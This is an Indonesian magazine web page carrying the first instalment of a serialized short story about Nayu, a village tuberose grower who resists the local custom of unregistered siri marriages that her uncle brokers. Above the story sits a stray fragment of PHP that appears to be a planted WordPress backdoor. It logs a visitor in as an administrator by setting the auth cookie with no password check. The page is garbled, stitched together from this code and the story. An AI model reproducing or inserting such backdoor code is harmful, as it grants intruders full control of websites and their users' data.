user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Fiction
Sedap Malam [1]

5 Nov 2016


Bagian 1
 
Aroma manis
Pucuk-pucuk sedap malam menggelitik wajah perempuan itu yang memerah karena udara dingin pagi hari. Saat ini pertengahan tahun. Juli, yang juga bulan kelahirannya. Juga awal dari musim bediding, sebuah kondisi di musim kemarau saat perubahan suhu terjadi secara mencolok. Malam hingga dini hari terasa dingin menusuk tulang sementara siang hari terasa panas membakar.
            Nayu, perempuan itu, mengeratkan pelukan pada seikat besar bunga sedap malam di dadanya. Ia sedikit berharap, selain aroma harum yang manis, bunga-bunga itu juga mampu mengalirkan hangat pada tubuhnya. Atau, mungkin, yang paling penting adalah hatinya.
            Ia menggigil tidak semata karena udara, namun juga karena pernikahan Elis hari ini. Pernikahan yang bagi sebagian besar warga desa Sunyi bukanlah suatu hal yang aneh. Namun, mungkin tidak bagi orang-orang di luar sana.
            Ya, di usianya yang ke 22, Elis akhirnya menikah. Lagi. Untuk ketiga kalinya. Secara siri.
            “Kenapa, Elis?” tanya perempuan itu minggu lalu, tidak bisa menyembunyikan kesedihannya.
            Elis, sepupunya itu, tertawa. Memperlihatkan barisan giginya yang tidak terlalu rapi dan berwarna kekuningan. Matanya menyipit, seperti sengaja menutupi pintu tempat Nayu bisa melihat isi hatinya.
“Kenapa? Dasar bodoh! Tentu saja aku ingin hidup enak dan terjamin. Kau terlalu lama tinggal di kota besar, Nayu.”
“Kenapa harus secara siri?” Nayu terus mengejar. “Kenapa harus menjadi yang... kedua? Tidakkah kau percaya cinta itu ada?”
Elis membuang muka, seperti muak. Perempuan itu berdiri, lalu menunjuk ke arah sawah-sawah tadah hujan di desa mereka yang tampak kering akibat kemarau. Gelombang udara panas siang itu menciptakan fatamorgana serupa lengkungan air di kejauhan.
“Cinta?” Elis seperti mengolok Nayu dengan selalu mengulang pertanyaannya. “Yang kutahu, sawah-sawah itu tidak bisa membantu memenuhi kebutuhanku  tiap saat. Aku akan selalu miskin dan kekurangan bila menunggu cinta!”
Ada getar dalam getir kalimat Elis. Mata Elis menatap Nayu tajam, hingga perempuan itu merasa Elis tengah menelanjangi dirinya. Mencoba menarik paksa keluar hal-hal yang ia coba sembunyikan di dalam hatinya.
“Apa yang salah dengan menikah siri atau menjadi yang kedua? Tidakkah kau sadar di posisi apa kau dan aku berdiri?”
Kata-kata Elis seperti mengempaskan Nayu ke lubang dalam tanpa pijakan. Ia tahu betul apa maksud sepupunya itu. Merasakan dan menjalani dengan sebenar-benarnya apa yang sudah menjadi garis takdirnya.
Terlahir dari perempuan yang dinikahi siri oleh bapaknya, membuat Nayu memahami gejolak di hati Ibu. Bagaimana Ibu menjalani hari-hari sepi yang tak tertahankan, karena kehadiran Bapak yang tak tentu. Sementara, Ibu tidak pernah bisa melepaskan cintanya kepada Bapak, dan memilih tetap setia dalam kesendirian.
Mungkin, di antara perempuan sebayanya di desa Sunyi, hanya Nayu yang masih bertahan dengan prinsipnya sendiri. Bahwa kelak akan ada pria yang mencintainya dengan tulus. Cinta yang tidak menyakiti hati yang lain, hingga mampu menyatukan mereka dalam ikatan yang menenteramkan.
Walau demikian, Nayu memahami, tanah kelahirannya telah lekat dengan tradisi yang berlaku sejak lama. Kaum perempuannya seakan menerima garis takdir bahwa hidup mereka akan berubah menjadi lebih baik dengan pernikahan siri yang sedini mungkin mereka jalani. Tidak mengapa menjadi yang kedua. Tidak mengapa tidak tercatat di Kantor Urusan Agama (KUA). Tidak mengapa juga bila sampai tiga bulan suami mereka tidak pernah kembali pulang. Talak dianggap sudah jatuh, dan mereka bisa menikah lagi.
Nayu mendongakkan kepalanya, menatap mata Elis yang menyala.
“Aku tidak seberuntung dirimu, Nayu! Aku bosan hidup susah. Toh, aku tidak melakukan perbuatan dosa. Aku hanya ingin memiliki seseorang yang menjamin diriku. Atau, minimal, memberiku modal untuk menjamin kehidupanku sendiri.”
Nayu merenung. Semua teman masa kecilnya telah merasakan kehidupan pernikahan. Bahkan ada yang sejak lulus sekolah dasar. Seperti Elis, mereka rela menjalani kehidupan yang senyap, dengan harapan kehidupan perekonomian mereka membaik.
Kenyataannya, hidup tidaklah selalu seperti di dalam angan manusia. Kegetiran seperti udara yang harus senantiasa mereka isap. Banyak anak yang terlahir kemudian serupa yatim. Tidak mengenal sosok ayahnya. Tidak tercatat dalam garis keturunan yang sah. Hanya karena kehidupan pernikahan orang tuanya yang sekedipan mata.         
“Tidak ada perempuan yang berniat menikah untuk gagal, Nayu,” kata Elis. Matanya sayu. “Pernikahanku ini bukan kawin kontrak. Ini pernikahan biasa, walau mungkin tidak tercatat di KUA. Setidaknya, kupikir, bukan hal yang berlebihan jika aku mengharap doamu?”
Entah mengapa, subuh ini, ingatan akan percakapannya dengan Elis menekan dadanya kuat, hingga Nayu meringis menahan jeri. Tangkai sedap malam yang panjang menekan-nekan pahanya setiap ia melangkah, namun Nayu tidak sempat merasakan nyerinya.
Perempuan itu mempercepat langkah kakinya menembus gelap pagi seusai subuh. Menyusuri jalan berbatu menuju rumah Elis di ujung jalan. Cahaya terang dari sebuah lampu neon, memandu langkahnya menuju tempat yang ia tuju. Dari jarak 200 meter, Nayu melihat ibunya keluar dari halaman rumah Elis. Kepalanya bergerak gelisah. Lehernya memanjang mencoba menemukan keberadaan Nayu.
“Nayu?” ibunya pasti mengenali kedatangannya. Sedap malamnya telah mengirim pesan lebih dulu.
“Aku di sini, Bu,” perempuan itu, walau sedikit kerepotan dengan bawaannya, mampu berlari kecil menghampiri ibunya.
Tanpa berbicara lagi, mereka segera masuk ke dalam rumah Elis yang telah ramai oleh kehadiran sanak keluarga. Aroma sedap malam yang manis segera bercampur dengan rawon yang nikmat. Sebuah hidangan yang tergolong sangat mewah untuk kebanyakan warga desa Sunyi. Bila Elis mampu menyediakannya di hari pernikahannya, semua orang bisa membayangkan harga mahar yang diterimanya kini.
Pakde Lilo, kakak tertua Ibu, duduk dikelilingi saudara sekampung mereka. Suara dan tawanya keras menggelegar. Nayu bisa mendengar, ia memuji-muji Elis yang, walau sudah menikah dua kali, tetap bisa menjaga kecantikannya. Hingga untuk yang ketiga kalinya pun, Elis masih dapat memikat seorang pria kaya dari negara tetangga.
“Pria itu tidak keberatan dengan mahar yang diajukan Elis, ataupun keinginan Elis untuk merayakan pernikahannya. Sejak awal ia datang, aku sudah yakin, Elis sangat sesuai dengan seleranya. Sekali mereka bertemu, pria itu langsung bertekuk lutut, ha... ha... ha....”
Mata Nayu bertemu dengan Pakde Lilo. Seketika, wajah pria paruh baya itu berubah mengeras. Memahami apa yang ada di dalam pikiran Pakde Lilo, Nayu membuang muka, dan pergi menuju kamar Elis.
Elis duduk tenang di kursi, membiarkan wajahnya dirias. Sederhana saja. Hanya sedikit pewarna untuk beberapa bagian wajahnya. Begitu juga dengan kebaya putih gading yang dikenakannya. Nayu berpikir, mungkin untuk seseorang yang sudah pernah menikah dua kali, pernikahan bukan lagi peristiwa yang dianggap agung dan sakral.
Begitu melihat kedatangan Nayu, tangan Elis melambai menyuruhnya masuk.
“Kau cantik, Elis,” suara Nayu serak. “Aku membawakanmu sedap malam ini. Juga doaku.”
Mata Elis berkaca-kaca. Ia  tersenyum, lalu berterima kasih lirih.
Nayu mulai merangkai batang-batang sedap malam itu dalam sebuah vas bunga besar dan berat dari tembaga. Sehari sebelumnya, Nayu sudah meminta tolong dua orang anak tetangga untuk membawa vas bunga itu ke rumah Elis. Ia tidak dapat memikirkan hadiah lain yang lebih baik untuk pernikahan Elis, kecuali bunga ini. Bunga yang dicintainya sejak lama, yang senantiasa menemani hari-hari masa kecilnya. Saat ia bermain dan bersembunyi di antara batang-batangnya yang tinggi. Sementara, udara seperti dihujani aroma manis dan menenangkan.
            “Apakah kau gugup?” tanya Nayu pelan, setelah perias Elis keluar kamar dan meninggalkan mereka berdua. Pandangan Nayu tidak beranjak dari batang-batang sedap malam di pangkuannya.
            “Sejujurnya?” Elis tertawa, kering dan kaku. “Aku... takut, Nayu,”
            Nayu mengangkat wajahnya, lalu tersenyum memberi semangat.
            Matahari terus meninggi, dan udara terasa panas menyengat. Pukul sepuluh lewat, calon suami Elis baru datang. Pria itu tinggi, dengan badan gemuk besar dan kumis tebal yang menghiasi wajahnya. Keringat melukiskan noda di kemejanya. Dari tempatnya berdiri, Nayu dapat melihat mata pria itu jalang menatap Elis. Sementara, tubuh mungil Elis tampak tertekan tak berdaya dalam impitannya.
Pria itu terlihat sangat tidak suka menunggu. Segera, setelah seorang keluarga Elis siap menjadi wali, dan modin desa menjalankan tugasnya, Elis memasuki dunia barunya.
Mendadak Nayu merasa sulit bernapas di dalam ruang tamu yang luasnya tak seberapa itu. Kesedihan dan perasaan tak berdaya dengan cepat menguasai dirinya. Diam-diam, Nayu menyingkir ke luar rumah. Ia tak mau ada seorang pun yang sempat melihatnya menangis. Mereka bisa salah mengerti dan berpikir ia sudah berubah pikiran dan siap memasuki dunia yang sama seperti Elis. Sudah begitu sering Pakde Lilo mendesak Ibu untuk membujuk Nayu menerima pinangan para lelaki yang sengaja datang ke desa Sunyi. Sampai detik ini, Nayu bersyukur masih bisa menolaknya.
            Di halaman, dengan terburu-buru, Nayu mengusap matanya dengan ujung jilbabnya. Kebanyakan keluarganya masih ada di dalam, mengobrol sambil menikmati kue-kue. Saat itulah, Nayu menyadari seseorang sedang memperhatikannya dari jarak yang tidak terlalu jauh.
            Pipi Nayu menghangat. Airlangga menatap Nayu dengan sorot simpati. Pria itu tersenyum lalu bergerak menghampirinya. Dan Nayu merasakan tubuhnya kaku, tak tahu harus bagaimana.
            “Dari mana saja kau? Aku perlu bicara denganmu!” suara Pakde Lilo yang menggelegar tiba-tiba terdengar dari arah belakang Nayu. Perempuan itu terlonjak kaget, berbalik badan, dan mendadak gemetar.
Karena beberapa alasan, Nayu tidak pernah menyukai Pakde Lilo sejak dulu. Perangainya yang kasar, juga kebiasaannya berhubungan dengan ilmu hitam. Apalagi, Pakde Lilo juga suka sekali menjadi makelar, mencari perempuan-perempuan Desa Sunyi yang mau dinikahi siri oleh pria-pria yang datang ke sini.
“Aku harus kembali ke kebun sekarang, Pakde. Ada pembeli dari kota yang sebentar lagi datang,” Nayu berusaha mengelak, dan bergegas melangkah pergi. Tapi, ia tertahan oleh cekalan kuat di pergelangan tangannya.
“Dasar anak tidak tahu sopan santun!” desis Pakde Lilo. “Kau berani melawan orang tua, hah?”
Nayu berusaha melepaskan tangannya, ketika Airlangga hadir di dekat mereka.
“Selamat siang, Pakde Lilo. Saya datang memenuhi undangan Pakde.” Airlangga tersenyum. Namun, ada nada di suaranya, seperti ancaman, yang membuat siapa pun yang mendengarnya ciut dan mundur.
Pakde Lilo sontak melepas cekalan tangannya. Matanya yang tadinya melotot perlahan berubah, lalu ia tersenyum penuh kepura-puraan di hadapan pria itu.
“Wah, wah, matur nuwun, Mas Airlangga! Terima kasih. Silakan nikmati makan siang yang sudah disiapkan di dalam.”
Nayu menggenggam pergelangan tangannya yang terasa perih. Ia belum bisa pergi karena Airlangga menghalangi jalannya.
“Terima kasih, Pakde. Tapi, saya sudah berpamitan dengan pengantin dan keluarga. Kebetulan, saya ada urusan penting dengan Dik Nayu untuk program dari kecamatan. Jadi, kami izin lebih dulu. Permisi....”
Advertisement
Airlangga memiringkan tubuhnya, memberi isyarat agar Nayu melewatinya. Dan tanpa memandang Pakde Lilo lagi, Nayu bergegas melangkah melewati Airlangga, menjauhi pamannya itu.
Setelah berjalan cukup jauh dari rumah Elis, Nayu baru menyadari, keheningan yang ganjil membersamai mereka. Di dalam hatinya, Nayu menghitung detak jantungnya yang terdengar lebih kencang dan cepat. Berada begitu dekat dengan pria itu, membuatnya seperti sedang menaiki komidi putar yang bergerak tak henti. Ia limbung dan mabuk.
Lintasan pikiran bermain-main di kepalanya. Mengapa Airlangga menolongnya tadi? Apa yang akan terjadi seandainya pria itu tidak datang? Bagaimana dengan Ibu dan Elis? Ia bahkan belum sempat berpamitan pada mereka.
“Mau ke mana sekarang, Dik Nayu?” pria itu akhirnya membuka suara.
“Kebun.” Ada getar dalam suara Nayu. Dan perempuan itu sungguh berharap Airlangga tidak menyadari kegugupannya.
Pria itu tersenyum. “Aku antar. Ada yang ingin aku bicarakan dengan Dik Nayu.”
“Panggil Nayu saja, Mas Airlangga.”
Ok. Panggil aku Angga juga, kalau begitu.”
Tanpa sadar, Nayu menoleh ke arah pria itu. Wajah Airlangga lurus menatap ke depan. Diam-diam Nayu mengagumi garis-garis yang membentuk wajah pria di sampingnya. Walau sejatinya mereka adalah dua orang asing,   bersama pria itu, sudut-sudut hati Nayu selalu mengirim pesan hangat ke seluruh tubuhnya. Seolah-olah mereka adalah sepasang manusia yang sudah saling mengenal sejak lama. 
Airlangga menolehkan kepala, dan menangkap basah Nayu yang sedang setengah melamun menatapnya.
“Mengapa tadi kau menangis? Pakde Lilo menyakitimu?”
Muka Nayu memerah, dan ia buru-buru menunduk, lalu menggeleng.
“Maaf, Mas Angga. Karena aku, Mas Angga jadi terpaksa pulang lebih dulu. Terima kasih sudah menolongku.”
Airlangga tertawa kecil. “Aku sama sekali tidak menyesal pulang lebih awal. Aku malah merasa beruntung. Maaf, Nayu, bukan bermaksud tidak sopan. Tapi, kupikir Pakde Lilo sengaja mengundangku dengan tujuan lain. Kau mengerti, kan, maksudku?”
Nayu mengangguk samar. Tentu saja. Semua tahu, untuk apa Airlangga berada di Desa Sunyi. Pria itu, bersama beberapa rekannya yang lain, datang seminggu yang lalu. Mereka mewakili sebuah lembaga swadaya masyarakat (LSM) yang memberi edukasi kepada warga tentang kerugian pernikahan siri dan pentingnya pernikahan yang tercatat di KUA.
Bagi Pakde Lilo, dan mungkin juga makelar yang lain, kehadiran Airlangga di Desa Sunyi serupa ancaman yang akan menghilangkan sumber pendapatan mereka. Karenanya, mengundang pria itu di pernikahan Elis seakan menjadi tantangan terbuka, dan juga bukti yang menunjukkan kedudukan para makelar masih kuat dan dibutuhkan di Desa Sunyi. Nayu sungguh takut memikirkan apa yang mungkin pamannya lakukan agar bisa selalu mendapatkan keinginannya.
“Apa kau punya waktu luang, Nayu?” Airlangga memecah lamunan perempuan itu.
Nayu menoleh dan menatap Airlangga dengan pandangan bertanya.
“Aku, dan teman-teman yang lain, berharap kau bisa berbagi pengalaman dengan warga tentang budi daya sedap malam di Balai Desa. Kau salah satu contoh perempuan yang berdaya di desa ini.”
Mereka telah sampai di kebun sedap malam. Udara kembali penuh dengan aroma manis dan menenangkan. 
“Aku mau, Mas Angga. Berbagi pengalamanku.” Nayu menjawab sambil memandang batang-batang sedap malam yang tinggi di hadapannya. Entah mengapa, ia malu bila harus menatap pria itu.
“Syukurlah. Aku akan menghubungimu lagi, nanti.”
Dan tidak cukup sampai di situ. Nayu merasa pintu langit terbuka, lalu menghujaninya dengan kuntum-kuntum  sedap malam, saat Airlangga melanjutkan.
“Berada di kebun ini, membuatku mengerti, mengapa kau selalu beraroma manis.”
*
Pintu yang Berkarat
            Ibu memperhatikan Nayu yang tampak fokus dengan komputer di hadapannya. Bila sedang bekerja, perempuan itu hampir tak pernah bersuara, dan cenderung tidak menyadari keadaan di sekelilingnya.
            “Bagaimana penjualan bulan ini?” Ibu tak tahan untuk tidak masuk ke dalam kesunyian yang dibangun Nayu. Perempuan itu terentak, menoleh pada ibunya, lalu tersenyum lebar.
            “Meningkat pesat, Bu. Pembelian partai besar selalu datang lewat internet. Semoga saja, kita bisa segera membeli tanah Pak Rozak untuk perluasan kebun sedap malam kita. Dengan kebun kita sekarang, kita bisa memiliki total lahan ¾ hektare. Omzet yang bisa kita dapatkan….”
            Ibu seperti tidak mendengarkan. Walau matanya tertuju ke wajah Nayu, pikirannya sesungguhnya tidak berada di sana.
            “Ibu?” Nayu menyentuh pipi Ibu lembut. “Ada apa?”
            Ibu berjengit kaget, lalu menghela napas panjang.
            “Bulan ini usiamu 25. Sudah hampir tiga tahun berlalu, sejak kau kembali ke desa ini. Sampai kapan kau akan tetap sendiri, Nayu?”
            Nayu melengkungkan senyuman. Digenggamnya hangat tangan kurus ibunya.
            “Tak perlu khawatir, Ibu. Aku yakin, jodohku tak akan tertukar atau pun diambil orang lain. Saat ini, mungkin kami masih saling berjalan menghampiri. Entah di titik mana kami akan bertemu.”
Ibu mendesah. “Waktu di pesta pernikahan Elis, Pakde Lilo kembali mengingatkan Ibu. Usiamu sudah sangat terlambat untuk menikah, Nayu. Lihat teman-teman sekampungmu, semua sudah berkeluarga.”
Ucapan Ibu terhenti oleh batuk yang panjang. Nayu menatapnya khawatir. Sudah lebih dari dua minggu, batuk Ibu belum juga sembuh. Wajahnya terlihat pucat oleh kekhawatiran yang tak terucap.
“Kata Pakde Lilo, selama ini orang luar cenderung sungkan melamarmu. Karena kau memiliki dan mengurus sendiri usaha sedap malammu. Kau tahu, kan, maksudnya? Soal mahar! Mereka takut tidak akan sanggup membayar mahar yang kau ajukan.”
“Ibu, aku menikah tidak untuk menuntut mahar yang tinggi. Aku ingin menikah dengan orang yang tepat. Juga dengan cara yang tepat. Aku hanya belum bertemu dengan pria itu saja.”
“Ada pria dari kabupaten sebelah,” Ibu seakan melewatkan penjelasan Nayu. “Pakde Lilo bilang ia sebanding denganmu dan tertarik padamu. Kalau kau setuju, Pakde Lilo akan langsung mengurus pertemuan kalian.”
“Siapa, Bu?” Nayu meladeni dengan sabar. “Lajang? Duda?”
Ibu terdiam sebentar. Matanya beralih memperhatikan telapak tangannya, seakan tidak tega menatap wajah putrinya.
“Pria itu beristri, dengan tiga orang anak.”
“Ibu! Aku sudah sering bilang....”
“Dengar Ibu dulu!” Ibu memotong cepat. “Istri pria itu sakit sudah setahun ini. Seperti orang linglung, dan kini dirawat keluarganya. Stres berat, kata orang. Sementara, pria itu juga seorang pejabat pemerintah. Tidak mudah mendapat izin untuk mengurus surat perceraiannya. Jadi, sementara saja, ia meminta nikah siri terlebih dahulu, sampai surat cerainya keluar.”
Mata Nayu membesar. Ia menatap ibunya setengah tidak percaya. “Ya Tuhan, kasihan sekali! Apa yang membuatnya seperti itu, Bu?”
Ibu hanya menggelengkan kepalanya berkali-kali, menegaskan ketidaktahuannya.
Tawaran Ibu terlihat seperti awan gelap yang membawa badai. Tanpa bisa dihindari, Nayu kembali harus berhadapan dengan jalan hidup yang selalu menghantuinya. Takdir yang berulang. Dan ia sungguh tidak ingin tenggelam di dalamnya untuk kedua kali.
*
            Nayu sedang memperhatikan para pekerjanya yang sedang memanen sedap malam, ketika Airlangga muncul kembali di kebun pagi ini. Pria itu mengenakan kemeja kotak-kotak biru dan celana jeans berwarna senada. Rambutnya yang pendek dan basah sedikit berantakan, tapi tetap membuatnya terlihat menarik di mata Nayu. (Bersambung). (f)

Baca juga: Sedap Malam [2]
 
***

Yulina Trihaningsih
 
 


Topic

#FiksiFemina

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?